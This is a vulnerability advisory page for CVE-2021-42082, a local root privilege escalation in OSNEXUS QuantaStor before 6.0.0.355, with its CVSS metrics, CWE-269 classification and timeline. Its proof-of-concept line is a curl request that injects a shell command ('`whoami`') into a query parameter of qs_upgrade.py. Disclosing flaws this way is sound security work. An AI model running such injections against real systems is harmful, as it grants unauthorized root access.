CVE-2021-42082

HighCVSS 7.8/10Last modified Jun 17, 2026

Description

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Metrics

CVSS 3.1 7.8/10CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weakness enumeration

CWE-269

Affected software

VendorProductVersions
OSNEXUSQuantaStor< 6.0.0.355

References

Timeline

Published
Jul 10, 2023
Last modified
Jun 17, 2026
NVD status
Modified

Related CVEs from 2021

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CVE-2021-42082: High severity, CVSS 7.8 | Vulnix